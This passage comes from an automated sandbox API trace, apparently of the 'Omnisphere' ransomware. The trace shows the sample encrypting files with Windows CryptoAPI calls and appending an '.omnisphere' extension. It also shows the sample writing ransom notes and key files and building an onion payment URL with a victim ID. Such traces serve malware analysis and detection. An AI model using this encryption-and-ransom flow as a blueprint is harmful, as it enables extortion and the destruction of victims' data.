pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.358] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.359] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.360] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.360] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.360] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.360] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.360] CryptDestroyKey (hKey=0x1639628) returned 1 [0127.360] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0127.360] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x451, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.360] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.360] GetProcessHeap () returned 0x1600000 [0127.360] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16f23b0 [0127.360] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xfvleb.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xfvleb.lnk.omnisphere")) returned 1 [0127.361] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk.omnisphere.id" [0127.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xfvleb.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.362] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.363] CloseHandle (hObject=0x3c0) returned 1 [0127.363] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.363] CloseHandle (hObject=0x288) returned 1 [0127.363] SetEndOfFile (hFile=0x28c) returned 1 [0127.364] FlushFileBuffers (hFile=0x28c) returned 1 [0127.367] CloseHandle (hObject=0x28c) returned 1 [0127.367] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.367] GetProcessHeap () returned 0x1600000 [0127.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.367] GetProcessHeap () returned 0x1600000 [0127.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1a28 [0127.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1a28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.368] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.368] GetProcessHeap () returned 0x1600000 [0127.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d82c8 [0127.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d82c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.368] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.368] GetProcessHeap () returned 0x1600000 [0127.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16da0e0 [0127.368] PathCombineW (in: pszDest=0x16da0e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.368] GetProcessHeap () returned 0x1600000 [0127.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e94c8 [0127.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.368] WriteFile (in: hFile=0x28c, lpBuffer=0x16e94c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e94c8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.369] CloseHandle (hObject=0x28c) returned 1 [0127.369] GetProcessHeap () returned 0x1600000 [0127.369] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.369] GetProcessHeap () returned 0x1600000 [0127.369] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.369] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.369] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.370] CloseHandle (hObject=0x28c) returned 1 [0127.370] GetProcessHeap () returned 0x1600000 [0127.370] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.370] GetProcessHeap () returned 0x1600000 [0127.370] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b948 | out: hHeap=0x1600000) returned 1 [0127.370] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f4181b0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f4181b0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f4181b0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5ca, dwReserved0=0x0, dwReserved1=0xd3, cFileName="xM_J.lnk", cAlternateFileName="")) returned 1 [0127.370] GetProcessHeap () returned 0x1600000 [0127.370] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167be48 [0127.370] PathCombineW (in: pszDest=0x167be48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="xM_J.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk" [0127.370] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xM_J.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xm_j.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.370] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1482) returned 1 [0127.371] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xa6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.371] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0127.371] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ca, lpName=0x0) returned 0x288 [0127.371] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.371] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.371] CloseHandle (hObject=0x288) returned 1 [0127.371] GetTickCount () returned 0x115fc7d [0127.371] GetTickCount () returned 0x115fc7d [0127.371] GetTickCount () returned 0x115fc7d [0127.371] GetTickCount () returned 0x115fc7d [0127.371] GetTickCount () returned 0x115fc7d [0127.371] GetTickCount () returned 0x115fc7d [0127.371] GetTickCount () returned 0x115fc7d [0127.371] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] GetTickCount () returned 0x115fc7d [0127.372] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f00) returned 1 [0127.373] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0127.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.374] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.374] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0127.374] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ca, lpName=0x0) returned 0x288 [0127.374] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ca) returned 0x1480000 [0127.374] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0127.375] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0127.375] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.375] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 